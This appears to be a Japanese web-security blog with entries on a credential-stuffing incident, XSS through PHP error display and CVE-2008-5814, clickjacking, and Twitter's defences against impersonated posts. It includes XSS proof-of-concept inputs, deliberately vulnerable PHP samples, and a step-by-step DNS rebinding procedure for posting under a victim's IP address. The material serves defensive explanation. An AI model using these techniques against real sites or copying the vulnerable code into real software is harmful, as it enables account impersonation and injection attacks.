2013年4月10日水曜日

eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策

eBook Japanに対する不正アクセスについて、詳細の発表があり、いわゆる「パスワードリスト攻撃」であることが発表されました。
  • 前回のご報告までは「複数のIPアドレスからログインページに対して機械的に総当たり攻撃等を行う大量アクセス行為(ブルートフォースアタック)」とご説明しておりましたが、詳細調査の結果、「不正の疑われる複数のIPアドレスからログインページに対して、予め持っていたログインIDとパスワードの適用可否を試行する大量アクセス行為」であることが判明いたしました。
  • つまり、大量アクセス行為を仕掛けてきた者は、当社以外の他のサービスなどで他のサービスのログインIDとパスワードを不正に入手し、ユーザーがログインIDとパスワードを共通に設定している可能性を狙って当社サービスに不正にログインしようとし、上記件数についてはログインに成功してしまったということです。
  • そのように判断した根拠は、一つのログインID(メールアドレス)について試行するパスワードの数の少なさです。
【重要なお知らせ】不正ログイン被害のご報告とパスワード再設定のお願いより引用
これに続いて、攻撃されたIDの数と、試行されたパスワードの数が発表されています。元資料を少し加工した表を以下に示します。
原注) 1つのログインIDについてPWを試行した回数は最大5回までであり、1回しか試行していないのに正当したアカウントが半数近くを占めている。
原注) 1つのログインIDについてPWを試行した回数は最大9回までであり、1回だけで断念しているアカウントが9割を占めている。

これらの表から、パスワードの試行回数は合計2821回、ログイン成功したIDは 779個ですから、成功率は約27.6%となります。4分の1を少し超える「打率」は、パスワードに対する攻撃としては驚異的です。
※奥一穂さんから指摘をいただました。無関係のサイトからのリストで、4分の1超のIDが重複することが不自然なので、上記「ログイン失敗分」とは、ログインには成功していないがIDとしては同じものが存在するもの、などのフィルタリングが入っているのではないか、とのことです。その可能性はありますが、発表資料にそのような記載はないので、この記事はそのままとし、可能性の言及にとどめます(9:03追記)。

また、攻撃者が同一IDに対して最大9個のパスワードを試していることも興味深い。断定はできませんが、9以上のサイトから流出したIDとパスワードを組み合わせて攻撃に用いていると考えるのが自然でしょう。既に、ブラックマーケットなどで、この種のリストが流通している可能性もあります。
今年に入り、eBook Japan以外にも、パスワードリスト攻撃が疑わしい事例は多数あります。利用者側とサイト側で、とれる対策を以下に説明します。

利用者側の対策

パスワードリスト攻撃の場合、一番悪い当事者はパスワードを漏洩したサイトであるわけですが、漏洩元も分かっておらず責任を追及することも難しいので、利用者側で、サイト毎に異なるパスワードをつけることで自衛するのが賢明でしょう。加えて、最低8文字で、辞書に載っている単語そのもの、ログインIDと同じパスワード、サイト名やサービス名をパスワードとして使うことなどは避けましょう。

サイト側の対策1(パスワードリスト攻撃から利用者を守る)

パスワードリスト攻撃対策として、サイト側で簡単にとれるものは残念ながら思いつきません。eBookJapanの発表では、「同一のIPアドレスからログインフォームへのアクセスに制限をかけました。」とあります。これは被害の緩和策としては有効ですが、打率が4分の1を超えると想定すると、アクセス制限が掛かる前に、ある程度の攻撃は成立してしまいそうです。
効果的な対策としては、Googleなどが実施している2段階認証があります。サイト側も利用者側も負担がありますが、パスワードリスト攻撃への効果は十分です。
利用者側の負担の少ない方法としては、リスクベース認証があります。リスクベース認証の例として、郵貯ダイレクトの例を引用します。

パスワードリスト攻撃は、「普段と異なるアクセス環境」からログインしてくるので、その場合パスワードとは別の手段で認証を要求するわけです。
※ゆうちょダイレクトの場合は、パスワードを入力する前にアクセス環境を判断しますが、IDとパスワードで認証してからアクセス環境を判断する実装もあります

アクセス環境の判断材料としては、ISP(特に地域)、ブラウザや端末の種類、アクセスの時間帯などがあります。また、上図の「合言葉」の代わりに、登録済みのメールアドレスにトークン(6桁程度のランダムな数字)を送信して、画面入力してもらってもよいでしょう。

あるいは、2段階認証やリスクベース認証を実装ずみの認証プロバイダを活用することも有力な解決策です。以下は、ガンホーゲームズのログイン画面です。
ガンホーの場合独自のパスワード認証も使えますが、OpenIDで会員登録する場合はガンホー独自のパスワードを設定する必要はありません。これにより、独自のパスワードを管理する負荷を減らし、認証の安全性を高めることができます。

また、地味ですが、サイトの負荷などの監視も重要です。eBookJapanの場合も、攻撃に気づいたきっかけはサイトの負荷急増でした。加えて、パスワード試行回数や認証失敗の回数・率なども監視するとよいでしょう。

サイト側の対策2(パスワードそのものの保護)

ユーザのパスワードを預かるWebサイトの責務として、パスワードの保護も重要です。最低でもソルトつきハッシュ、できればストレッチングを追加して保護したいところです。詳しくは、徳丸の過去記事本当は怖いパスワードの話を参照下さい。

まとめ

最近急増しているパスワード認証に対する攻撃の例として、eBookJapanに対するパスワードリスト攻撃について紹介しました。自サイトで脆弱性対処をしっかりやっていても、他サイトで漏洩したIDとパスワードを悪用されると、対策が難しくなります。
 以下の対策を推奨します。
  • 利用者は、自衛のためサイト毎に異なるパスワードを設定する
  • サイト運営者は、2段階認証やリスクベース認証の導入を検討する
  • 自力で高度な認証の実装が困難な場合は、外部認証の導入を検討する
  • パスワード設定画面に、他サイトとは異なるパスワードをつけるように注意喚起する(追記)
  • IPアドレス単位で認証試行回数や認証失敗回数によるアクセス制限を行う(緩和策として追記)
  • サイトの負荷、ログイン試行数、ログイン失敗数などの監視を実施する
  • パスワードの漏洩に備えて、パスワードの保護(ソルトつきハッシュ、ストレッチング)を導入する

2013年4月4日木曜日

PHPのdisplay_errorsが有効だとカジュアルにXSS脆弱性が入り込む

先に、「CVE-2008-5814を巡る冒険」にて、CVE-2008-5814脆弱性があるとdisplay_errorsがOnの環境下でXSS脆弱性となる場合があることを説明しました。しかし、display_errorsがOnの環境下ではCVE-2008-5814脆弱性がなくても、XSS脆弱性となる場合がしばしばあります。
これは、display_errorsによるエラーメッセージ表示がHTMLエスケープされていないことが原因です。簡単なサンプルを以下に示します。
<?php
  ini_set('display_errors', 1); // display_errorsを有効にする
  $a = array();                 // 配列の生成
  $index = $_GET['x'];          // 配列のインデックスを得る
  $b = $a[$index];              // 配列の要素にアクセス
このスクリプトに、x=<script>alert(1)</script> というクエリ文字列をつけて呼び出すと下記の表示になります(error_reporting設定でE_NOTICEが有効になっている場合です。E_NOTICEはphp.ini上の設定がない場合は無効ですが、多くのphp.ini設定では有効となっています)。


この際のHTMLソースは以下の通りです。
Notice: Undefined index: <script>alert(1)</script> in /var/www/de.php on line 5
Undefined indexとして、外部から与えたパラメータが「そのまま」(HTMLエスケープされずに)出力されています。 

PHPの脆弱性なのか?

これはPHPの脆弱性なのでしょうか。CVE-2008-5814が脆弱性なのであれば、こちらも脆弱性と見るべきだと思います。そうしないと辻褄があいません。 
一方、display_errorsはデバッグ用の設定なのだから、本番環境に適用する方が悪いという意見もあるでしょう。この立場に立てば、上記はPHPの脆弱性ではないという見方もあり得ます。その場合は、CVE-2008-5814も(実は)脆弱性ではないとしなければなりませんが…
しかし、仮にPHPの脆弱性でないとしても、display_errorsによるエラー表示はHTMLエスケープすべきだと考えます。そうしないと、正しい表示にならないからです。
先の例では、Undefined indexとして表示すべき内容は、<script>alert(1)</script> という文字列であって、JavaScriptの実行ではありません。display_errorsによるエラー表示はHTMLエスケープしなければ、正しい表示にならない場合があります。すなわち、HTMLのエスケープ漏れはPHPの仕様上の不具合と言えます。そして、仕様上の不具合(バグ)が環境依存とはいえ脆弱性になり得るとすれば、結局PHP自体の脆弱性と言わざるを得ないと徳丸は考えます。

プログラミングでなんとかならないのか?

配列の未定義のキーによるアクセスを防ぐこと自体は難しくありません。たとえば、array_key_exists関数を使って、キーの存在を事前に確認する方法。
$b = array_key_exists($index, $a) ? $a[$index] : null;
同じくisset()を使う方法。
$b = isset($a[$index]) ? $a[$index] : null;
エラー制御演算子(@)を使ってエラー表示を抑止する方法。
$b = @$a[$index];
すべての箇所で上記を徹底すれば、Undefined indexの警告によるXSSは防げるはずです。しかし、その他のエラー・警告も含め、すべてを漏れなくなくすことは難しいため、display_errorsはやはり無効にすべきです。

display_errorsは本番環境ではOffにしよう

従来から、セキュリティ上の理由からデバッグ目的のエラー表示は抑止すべしと言われています。その主な理由は下記の通りです。
  • デバッグ用のエラーメッセージが攻撃者にとってヒントになる場合がある
  • エラーメッセージを通じて情報漏洩させる手口がある(→参考)
  • そもそもユーザフレンドリでないし、みっともない(セキュリティ上の理由ではない)
加えて、クロスサイトスクリプティングという具体的な脅威になり得ると言うことです。一般論としても、エラー画面にはクロスサイトスクリプティング脆弱性が生じやすいという経験則があります。よって以下にお気をつけ下さい。
  • display_errorsなどデバッグ用のエラー表示は本番リリース前にオフにする
  • エラー表示は利用者向けに必要最低限の表示にとどめ、問題解決用の情報はログとして出力する
  • エラーメッセージにはクロスサイトスクリプティングが入りやすいので注意(と言っても、特別なことをするわけではなく、エラー表示だからと言って手を抜かずにHTMLエスケープしろということです)

2013年4月1日月曜日

twitterに学ぶなりすまし投稿対策

先日もtwitter上の犯行予告により20歳の青年が逮捕されたようですが、なりすましによる誤認逮捕ではなかったのか気になるところです。そこで、twitterが、なりすまし投稿をどの程度対策しているかを調べてみることにしました。twitterの安全性を確認することが目的というよりも、twitterが実施している対策を知ることにより、皆様のWebサイトを安全にする参考にしていただければと思います。

今回調べた「なりすまし投稿」の手法は下記の通りです。
  • クロスサイト・リクエスト・フォージェリ(CSRF)
  • クロスサイトスクリプティング(XSS)
  • HTTPヘッダーインジェクション
  • クリックジャッキング
  • DNSリバインディング
  • クッキーモンスターバグ
このうち、上の5つの解説は拙稿「“誤認逮捕”を防ぐWebセキュリティ強化術」、最後のクッキーモンスターバグについては、過去のエントリ「クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される」をご覧下さい。
それでは、はじめます。

CSRF

CSRF対策として、twitterは標準的なトークンによる対策を採用しています。以下は、書き込み時にPOSTされるデータの例です。大文字のXは伏せ字です。
authenticity_token=ee09XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX63faec&place_id=&status=【投稿内容】
authenticity_tokenがトークンですね。ワンタイムではない、セッション限りのトークンを使っているようですが、これで問題ありません。

試みに、authenticity_tokenを一文字だけ改変してツイートしてみると、以下のようにエラーになります(Ajax/JSONのリクエストなので、エラー表示は呼び出し側でします)。
HTTP/1.1 403 Forbidden
【以下略】
ということで、CSRFについては対策されています。

XSS

twitterはXSSの悪用事例が2009年(JS.Twettir)と2010年にあるので、XSS攻撃を完璧に防御しきっているわけではありませんが、世界中の著名なセキュリティ研究者やバグハンターがtwitterの脆弱性を調べ、twitter側もそれを改修していので、現在では、未知のXSSを見つけるのは難しいと思います。
twitter社は年度毎に脆弱性報告の貢献者を表彰しており、このページから見ることができます。日本人も、小菅さん、kinugawaさん、malaさん、はせがわようすけさんなど、日本の錚々たるバグハンターが名を連ねているので、彼らが見つけていないXSS脆弱性を探して犯行予告なりすましに使うのは相当困難ではないか思います。

HTTPヘッダーインジェクション

HTTPヘッダーインジェクションについてはきちんと調べていないのですが、HTTPヘッダーインジェクション脆弱性が入る局面は、HTTPレスポンスヘッダ(Set-Cookie、Locationその他)の出力内容に外部からコントロールできる値を含む場合であり、twitterのレスポンスには、そのような箇所が見あたりません。おそらく大丈夫だろうということと、仮にHTTPヘッダーインジェクション脆弱性がtwitterにあれば、先のバグハンター達が見つけてくれるでしょう(他力本願)。

クリックジャッキング

先のエントリ「IPAから「クリックジャッキング」に関するレポート出ました」にて、X-FRAME-OPTIONSヘッダを出力している数少ないサイトの1つがtwitterであることを説明しました。このため、利用者がモダンなブラウザを使う限り、クリックジャッキングには対策済みということになります。
問題は、利用者がIE6やIE7を使っている場合です。これらはまだメンテナンスされているブラウザですが、X-FRAME-OPTIONSには対応していません。そこで、twitterがIE6/IE7に対して、クリックジャッキング対策をどのようにしているのか、あるいはしていないのかを調べてみました。
まず前提として、現在IE6/IE7でtwitterを利用しようとすると、mobile.twitter.comにリダイレクトされます。


このため、IE6/IE7ユーザ向けの罠としては、mobile.twitter.com用の罠に変更する必要があります。これをIE7で閲覧すると下記の状態になります。


後は、これをクリックジャッキング用の罠のiframeに入れてやる訳です。IE7はX-FRAME-OPTIONSに対応していないので大丈夫だろうと試してみると…以下のようになります。


twitterにログインした状態なのに、iframeの中はログイン画面になっていますね。これは、twitterがP3Pコンパクトポリシーを出力していないので、iframeの中のページはCookie(第三者Cookie)の送信がブロックされているためです。ブラウザのステータスバー中央に目のアイコンに停止マークがついていますが、ここをダブルクリックして詳細を確認しましょう。



たしかに、P3Pコンパクトポリシーが送信されていないために、罠サイトからは第三者CookieとなるtwitterのCookieがブロックされています。大丈夫のようですね…
でも、絶対に大丈夫でしょうか。IEの設定を変更している場合は、P3Pコンパクトポリシーがなくても第三者Cookieを送信する可能性があります。
その設定は、インターネットオプションのプライバシータブで変更可能です。まず、IEのデフォルトを確認しましょう。



デフォルトではCookieの設定は「中」で、「コンパクトなプライバシーポリシー(注:P3Pコンパクトポリシーのこと)のないサードパーティのCookieをブロックします」とあります。これが効いている訳ですね。
ここで、好ましくはありませんが実験のため、プライバシーの設定を最低レベルにしてみましょう(試す場合は、試験環境で実行するか、元に戻すのを忘れずに)。


これで、Cookieの制約はなくなりましたので、先ほどの罠をもう一度閲覧してみましょう。


あれあれ、アドレスバーに注目ください。iframeに入れたはずなのに、iframeを飛び出してしまいました。これでは、騙される人はいなさそうです。どうもJavaScriptによる対策が入っているようですね。調べてみると、以下のコードがあります。
if (window.top !== window.self) {document.write = "";window.top.location = window.self.location; // 以下略
これは、IPAの『「クリックジャッキング」に関するレポート』にも紹介されているコードで、iframeなどに入れられていないかチェックして、入れられている場合は、自身をトップレベルに表示させるようにするものです。但し、この種の手法の回避策も研究されているため、これだけで完全な対応というわけではありません。だからこそ、X-FRAME-OPTIONSという機能追加が必要であったわけですが、詳しくはIPAの『「クリックジャッキング」に関するレポート』を参照下さい。

ここでは、元々利用者がJavaScriptを無効にしていたというシナリオで、罠のサイトを閲覧してみます。


ようやく、twitterの画面をiframeに入れることができました。あとは、今は見ているtwitterの表示を「透明にして」、その下に、利用者が思わずクリックしたくなる罠の表示を入れるだけです。

ここまでを振り返って、IEで、twitterの画面をiframeに入れるために何をしなければならなかったを振り返って見ると、以下の通りです。
  • 古いバージョンのIE(IE7以前)を使う
  • プライバシーの設定を最低(すべてのCookieを受け入れ、送信)
  • JavaScriptを無効にする
これは率直に言って、利用者側の自業自得感が相当ありますね。
立場を変えて、twitterがどのような対策をしたかを以下にまとめます。
  • HTTPレスポンスヘッダ x-frame-options: SAMEORIGIN を送信
  • P3Pコンパクトポリシーを送信しない
  • JavaScriptによるクリックジャッキング対策コード
現時点の最高レベルの「なりすまし犯行予告対策」をしたいWebサイトは、上記を参考にすると良いでしょう。

DNSリバインディング

一般的にDNSリバインディング攻撃でも「なりすまし犯行予告」は可能ですが、DNSリバインディングでは利用者のセッションをハイジャックすることはできません。その理由は、DNSリバインディング攻撃の場合、利用者な罠のドメイン名で攻撃対象サイトをアクセスするため、利用者のセッションは有効にならないためです。
それでは、なりすましできないじゃないかと思ってしまいますが、なりすまし犯行予告で重要な「なりすまし」要素はリモートIPアドレスであって、利用者のアカウントではありません。この前提であれば、DNSリバインディング攻撃が使えます。その手順は以下の通りです。
  1. 攻撃者は自分の用意したアカウントでログインしてCookieを調べる
  2. 攻撃者はDNSリバインディングの罠を用意する。罠を閲覧した利用者のブラウザに対して、前項で調べたCookieをセットする
  3. 利用者からの閲覧があった直後に、罠のドメイン名に対するAレコードを書き換え、攻撃対象のIPアドレスをセットする。TTLは元々短い値(1秒など)とする
  4. 利用者が閲覧した罠から、時間をおいて(10秒~数分)罠のドメイン名にXMLHttpRequestでアクセスする。罠のドメイン名は攻撃対象サイトのIPを指しているので、実際には攻撃対象にアクセスする
  5. 利用者のブラウザは、攻撃者の用意したアカウントで攻撃対象サイトにログインした状態になる
  6. XMLHttpRequestでCSRF対策のトークンを調べ、正しいトークンをセットして「なりすまし投稿」を行う(twitterの場合であれば、セッション毎に固定のトークンなので、攻撃者があらかじめてトークンを調べて罠にセットしてもよい)
この、DNSリバインディング + セッションフィクセイションのような攻撃については、過去に「誤報訂正:『2010年に最も警戒すべきセキュリティ脅威は「DNSリバインディング」』報道について」で取り上げています。当時は、『なんとなくトホホ感の漂う攻撃手順だ。ホンマカイナ。』と批評した手順ですが、思わぬところで利用価値(?)が出てきました。

さて、DNSリバインディングへの対策ですが、前述の通り攻撃対象サイトには「罠のドメイン名」がHostヘッダに入ります。XMLHttpRequestではHostヘッダは変更できないため、HostヘッダのチェックでDNSリバインディング対策できます。
それでは、twitterはどうでしょうか。自分の持つドメイン名に twitter.comのIPアドレスをセットしてアクセスしてみると下記の応答になります。
HTTP/1.0 404 Not Found
date: Sun, 31 Mar 2013 15:34:54 UTC
server: tfe
strict-transport-security: max-age=631138519
Content-Length: 0
ちゃんと対応していますね。随分素っ気ないレスポンスですが、攻撃者に対してこれでよいのでしょう。
簡単にDNSリバインディング対策する方法として、Apacheのバーチャルホスト機能を使う方法があります。
NameVirtualHost *:80
# ダミーのバーチャルホスト
<VirtualHost _default_:80>
  DocumentRoot /var/www/dummy
  ErrorDocument 404 /index.html
</VirtualHost>

# 本番のバーチャルホスト
<VirtualHost>
  ServerName www.example.jp
# 以下略
VirualHostで _default_ を指定することで、「その他の」Host指定に対するリクエストをここに集めることができます。通常はエラー表示を出すようにしておけばいいでしょう。

クッキーモンスターバグ

以前のエントリ「クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される」にて、地域型JPドメイン名や都道府県型JPドメイン名(などクッキーモンスターバグのおこるドメイン名)を使うと、トークンによるCSRF対策が回避されると説明しました。認証のあるサイトでも、前項と同じように攻撃者のアカウントでログインさせて、利用者(被害者)のリモートIPアドレスで「犯行予告」を書き込みできる場合があります。詳しくは、先のエントリをご覧ください。
では、twitterはどうかというと、.comドメイン名なので、クッキーモンスターバグの影響はない、すなわち大丈夫です。

まとめ

twitterを題材として、「なりすまし投稿対策」がどのように実施されているかどうかを調べました。
まとめると以下の通りです。
  • トークンによるCSRF対策
  • XSS対策(脆弱性報告者の表彰)
  • HTTPヘッダーインジェクション対策(あるいは該当箇所なし)
  • クリックジャッキング対策(下記)
    • X-FRAME-OPTIONSヘッダの送信
    • P3Pコンパクトポリシーを送信しない
    • JavaScriptによるクリックジャッキング対策
  • Hostヘッダのチェック
  • クッキーモンスターバグの影響を受けないドメイン名の採用
なりすまし投稿が重大な影響を及ぼす場合、twitterの取り組みが参考になるでしょう。
一方、以下のような場合はtwitterによるなりすまし投稿があり得ます。こちらは利用者が気をつけるしかなさそうです。
  • 利用者がフィッシング詐欺に引っかかってIDとパスワードを盗まれた場合
  • 悪質なtwitterアプリの連携を利用者が許可してしまった場合
  • 使用しているtwitterアプリに脆弱性があり、悪用された場合

2013年3月30日土曜日

CVE-2008-5814を巡る冒険

脆弱性情報を見ていると、たまに(しばしば)詳細の不明なものがあります。
先日脆弱性情報を調べていたら、JVN#50327700(CVE-2008-5814)PHP におけるクロスサイトスクリプティングの脆弱性が目にとまりました。CVSS値が2.6なので危険な脆弱性ではなさそうですが、詳細が分からないと気持ちが悪いですね。このエントリでは、CVE-2008-5814について調べた結果を報告します。

JVN iPediaの説明には以下のように書かれています。
概要
PHP には、クロスサイトスクリプティングの脆弱性が存在します。
影響を受けるシステム
PHP 5.2.7 およびそれ以前
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
謝辞
この脆弱性情報は、情報セキュリティ早期警戒パートナーシップに基づき下記の方が IPA に報告し、JPCERT/CC が開発者との調整を行いました。
報告者:インターナショナル・ネットワーク・セキュリティ(株) 佐名木 智貴 氏
佐名木さんの報告なのですね。
display_errors=offの場合は影響を受けないというのが救いです。本番環境でdisplay_errorsが有効というのは「あり得ない」状態なので、対処としては、まずdisplay_errorsを確実にoffにした上で、対策済みのバージョンのPHPを導入することです。PHP5.3以降は問題ないということなので、現在メンテナンスされているバージョンのPHPでは問題ありません。

この脆弱性、発表当時(2008年12月19日)から謎という点が話題になったようで、例えば以下のような記事があります。
■ JVN#50327700 PHP におけるクロスサイトスクリプティングの脆弱性がよくわからない件について
PHP の設定で display_errors=off である場合は、この問題の影響を受けません。
の時点でまぁ自分の手元にはほぼ影響ないんですが、該当の記事からのリンク先であるPHPのChangeLogにはそれっぽいのがかいてなくて非常に気持ち悪い思いをしてるわけです。
こまってWassrでつぶやいてみたらますがたさんよりこれじゃないかみたいなレスをもらったけど、Cookieまわりっぽいので、CookieってXSSないとそもそもかきかえられないよなぁ(いや、レンタルサーバとかだといろいろあるけえど)とか悩んでるわけです。で、もし詳細ご存知の人いたら教えてください。
http://d.hatena.ne.jp/cocoiti/20081223より引用
CVEではどうなっているでしょうか。MITREもNVDも同じで、以下のようにあります。
Cross-site scripting (XSS) vulnerability in PHP, possibly 5.2.7 and earlier, when display_errors is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. NOTE: because of the lack of details, it is unclear whether this is related to CVE-2006-0208.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5814
攻撃経路不明だし、いろいろ情報不足でよくわかんねーよ、という感じですね。
そこで、MITREやNVDからリンクされているサイトをたどったり、ググったりして以下のサイトを見つけました。

http://anonscm.debian.org/gitweb/?p=pkg-php/php.git;a=commitdiff;h=a71a80d0465f4e82210559c51217f03057c7e028より引用

これだと分かりますね。PHPのソースに戻って確認すると、上記の改修はPHP5.2.6からPHP5.2.7への変更として実施されています。すなわち、影響を受けるシステムにPHP5.2.7以前となっているのは誤りで、PHP5.2.6以前が正しいようです。
具体的には、Cookieの名前あるいは値にCookieとして使えない文字(空白、カンマ、セミコロン、水平タブ、垂直タブ、フォームフィード、改行、復帰)があった場合に、PHP-5.2.6以前だと、その文字列を「そのまま」エラーとして表示しているのです(下記)。

  • Cookieの名前の場合は、setcookieまたはsetrawcookieを使っている場合
  • Cookieの値の場合は、setrawcookieを使っている場合

このため、以下のコードを実行すると 2, 3, 4 がalertとして表示されます。1の場合は、値がパーセントエンコーディングされるため禁止文字は出現せずエラーになりません。
<?php
  setcookie('a', '<script>alert(1);</script>');
  setrawcookie('a', '<script>alert(2);</script>');
  setcookie('<script>alert(3);</script>', 'a');
  setrawcookie('<script>alert(4);</script>', 'a');
この脆弱性を悪用するためには、Cookieの名前か値を外部からコントロールする必要がありますが、通常のアプリケーションではCookieの名前をコントロールすることはできないので、setrawcookieを使って、外部からの入力をCookieに出力している場合が問題になると考えられます。
脆弱なコードの例を以下に示します。display_errors=Onが前提です。
<?php
  setrawcookie('a', $_GET['x']);
以下のように呼び出します。
http://example.jp/x.php?x=<script>alert(1);</script>

実行例は以下の通りです。IEやGoogle ChromeだとXSSフィルタによりJavaScriptは実行されないので、Firefoxにて試しています。


さて、ようやくCVE-2008-5814による攻撃を試すことができました。脆弱性の影響を受ける条件は以下となります。
  • PHP5.2.6以下を使っている
  • display_errorsが有効
  • 以下のいずれか
    • setrawcookieにより外部からコントロールできる文字例をCookieの値として出力している
    • setcookieかsetrawcookieにより外部からコントロールできる文字例をCookieの名前として出力している
対処は下記となります。全部実施を推奨します。
  • PHPの最新の安定版を使う(必須)
  • display_errorsを無効にする(必須)
  • Cookieの出力にはsetcookie関数を使う
  • Cookieの名前は外部から指定できなくする
さて、display_errorが仮に有効になっている場合、最新のPHPを使っていてもクロスサイト・スクリプティング(XSS)になるケースはあります。これについては別途紹介します。

2013年3月29日金曜日

IPAから「クリックジャッキング」に関するレポート出ました

Webアプリケーションのセキュリティの分野で「新しい攻撃手法」は実はそれほど多くないのですが、比較的新しく対応が求められているものとしてクリックジャッキングがあります。クリックジャッキングは、CSRFと同じように「Webアプリケーションのサーバー側機能」を利用者(被害者)に実行させる手法です。CSRFは、当該機能を実行するHTTPリクエストを送信させる罠を使いますが、クリックジャッキングの方は、iframe等に当該機能を呼び出す画面を表示しておき、利用者(被害者)に実行ボタンを押させる(=クリックジャック)手法です。クリックジャッキングに関しては従来詳しい解説がありませんでしたが、この3月26日にIPAから「クリックジャッキング」に関するレポートが公開されました。
このレポートから、クリックジャッキングのイメージを示す図4を引用します。
サイトAが攻撃対象のサイト、悪意のあるページは罠になります。これらのページはiframe等に入れられ、さらにサイトAはCSSにより透明に設定され、利用者には見えません。この「見えない攻撃対象のページ」をOHPフィルムのように罠ページに重ねたものが上図のイメージです。
このままでは攻撃は成立せず、利用者(被害者)にラジオボタンと「情報更新」ボタンをクリックしてもらう必要があります。巧妙な誘導により、上図の①と②をクリックさせる手法がクリックジャッキングです。利用者は罠サイトの①と②をクリックしているつもりですが、実際にクリックされるのは手前側に配置された(見えない)サイトAのボタンです。これにより、利用者は意図しない画面操作をさせられてしまいます。

さて、クリックジャッキングは新しいと言っても2008年のOWASPでの発表で、専門家には広く知られるようになっていましたが、当時は確実な対策方法がありませんでした。2009年にMicrosoftからX-FRAME-OPTIONSというレスポンスヘッダを用いる方法が提唱されるとともにIE8に実装され、その後主要なブラウザ(Firefox、Google Chrome、Safari、Opera)がX-FRAME-OPTIONSを採用するようになり、確実な対策が取れるようになりました(もっとも、「本家」MicrosoftのIE6とIE7がX-FRAME-OPTIONSに対応していないという問題があります)。以下に、IPAレポートの表1を引用します。


X-FRAME-OPTIONSによるクリックジャッキング対策は、ブラウザ側の対応だけではなく、Webアプリケーション側で適切なX-FRAME-OPTIONSヘッダを送信する必要があります。クリックジャッキングの知名度はまだまだ低く、IPAの「クリックジャッキングに関するレポート」では、この調査結果を載せています。日本人向けに提供されている56のWebサイトを調べた結果、わずか3サイトのみがX-FRAME-OPTIONSヘッダを用いていたという結果です。以下に同レポートから図5を引用します。


IPAは調査対象のサイト名を公開していませんが、例えばtwitterはX-FRAME-OPTIONSを送信している数少ないサイトの一つです。
最近もtwitterで犯行予告をした青年が逮捕されるという事件がありましたが、なりすましで犯行予告されると大変困ります。twitterはCSRFに加えて、クリックジャッキングにも対策しているということです。

ここで、「利用者はボタンをクリックするだけなのに犯行予告までできてしまうの?」という疑問が生じるかもしれませんね。でも、(対策していないと)できてしまうのです。twitterには、サイト側が用意した発言を利用者に求める機能があります。たとえば、このリンクをクリックすると、以下のような表示になります。


このままではツイートまではしない(ツイートしてしまったらCSRF脆弱性です)のですが、利用者が「ツイート」というボタンをクリックすると、上記テキストが、ボタンをクリックした利用者の発言としてツイートされます。クリックジャッキングにより、これを勝手にやられると困ります。
しかし、twitterはX-FRAME-OPTIONSヘッダを送信しているので、上記をiframeに入れて罠を作ろうとすると、下記のような表示になります(IE9の例)。


これにより、なりすまし投稿を防いでいるわけですね。

さて、IPAのクリックジャッキングに関するレポートには、X-FRAME-OPTIONSの詳しい説明の他、CSP(Content Security Policy)や、JavaScriptによる対策方法も示しています。たとえば、CSPでクリックジャッキングを防ぐ例としては以下が紹介されています(Firefox向けの書き方)。
X-Content-Security-Policy: allow 'self'; frame-ancestors *.ipa.go.jp *.meti.go.jp
上記は、このヘッダを送信しているページは、ipa.go.jpとmeti.go.jp(経産省)のサブドメインのiframeにのみ入れることができるという意味です。従って、罠サイトのiframeに入れようとすると、前述のようなエラーになるはずです…
ところが実際には、期待通りには動きません。これはFirefoxの既知の脆弱性のようで、最新版
Firefox19.0.2ではCSPのホスト式にワイルドカードを指定した場合、式の内容に関係なく「全てのホストが対象」となってしまいます。すなわち、前述の例はIPAと経産省だけでなく、世界中のどのホストのiframeにも入れていいよ、という動作になります…これは酷い脆弱性ですが、それほど話題になっていないのは、Content Security Policyがまだ普及していないからだと思います。

ということは分かっていたのですが、Firefox 20βでは修正されているようですし、CSPによる方法は残念ながらクリックジャッキング対策の(当面の)本命ではないので、冊子ではFirefoxの脆弱性については触れていません。なぜ本命でないかは、IPAの冊子をお読みください。

なお、徳丸はIPA非常勤研究員として、同冊子のレビュアーという形で参画していますが、このエントリは個人の見解として書いているものであり、IPAとしての見解ではないことを付記いたします。

2013年3月1日金曜日

クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される

日経Linux 2013年1月号に「“誤認逮捕”を防ぐWebセキュリティ強化術」を書き、それが今週4回連載で、ITproに転載されました。この中で、クロスサイトリクエストフォージェリ(CSRF)対策について説明しましたが、クッキーモンスターバグ(Cookie Monster Bug)がある場合に対策が回避されることに気がつきました。
それでは、どのような対策が望ましいかを考えてみると、中々難しい問題です。以下、その内容について検討します。

解決すべき課題の整理

記事の趣旨は、昨年無実の市民のパソコンからCSRFによる犯行予告が横浜市のサイトに書き込まれたことを受けて、サイト側でCSRF対策をして、なりすまし書き込みができないようにしようというものです。なりすましの犯行予告には、CSRFのほか、マルウェアを用いる方法、CSRF以外のWebサイトへの攻撃手法もあるので、CSRF対策だけで十分というわけではありませんが、現実に悪用されたCSRFの対策は、できるだけ実施した方がよいと考えます。

ここで、対策例のスクリプトを以下に示します。これはCSRF対策としては標準的な方法で、乱数により生成したトークンをセッション変数とhiddenパラメータにセットして、投稿処理側で両者を比較することで、CSRF攻撃に対処しています。

以下は入力フォームです。デモ環境はこちら。
<?php // form.php 入力フォーム
  session_start();
  // トークンがセッションになければトークンを生成してセッションに保存
  if (! isset($_SESSION['token'])) {
    $rand = file_get_contents('/dev/urandom', false, NULL, 0, 24);
    $token = base64_encode($rand);
    $_SESSION['token'] = $token;
  } else {
    $token = $_SESSION['token'];
  }
?>
<body>
  投稿して下さい
  <form action="post.php" method="POST">
  <input name=body>
  <input type="hidden" name="token" value="<?php echo htmlspecialchars($token); ?>">
  <input type=submit>
  </form>
</body>
以下は、入力された投稿を書き込む処理です。処理を簡単にするため、実際には書き込みはせず、書き込み内容を表示しています。
<?php post.php 投稿処理
  session_start();
  // トークンをセッション変数とPOSTパラメータから取得
  $s_token = @$_SESSION['token'];
  $p_token = @$_POST['token'];
  if (! isset($s_token) || $p_token !== $s_token) {
    // トークンが空か、一致していなければエラー
    die('正規の画面からご使用ください');
  }
?>
<body>
投稿されました:<?php echo htmlspecialchars($_POST['body']); ?>
<?php var_dump($_COOKIE); ?>
</body>
CSRF攻撃の罠を用意しましたが、対策が施されているので、「 正規の画面からご使用ください」と表示されます。

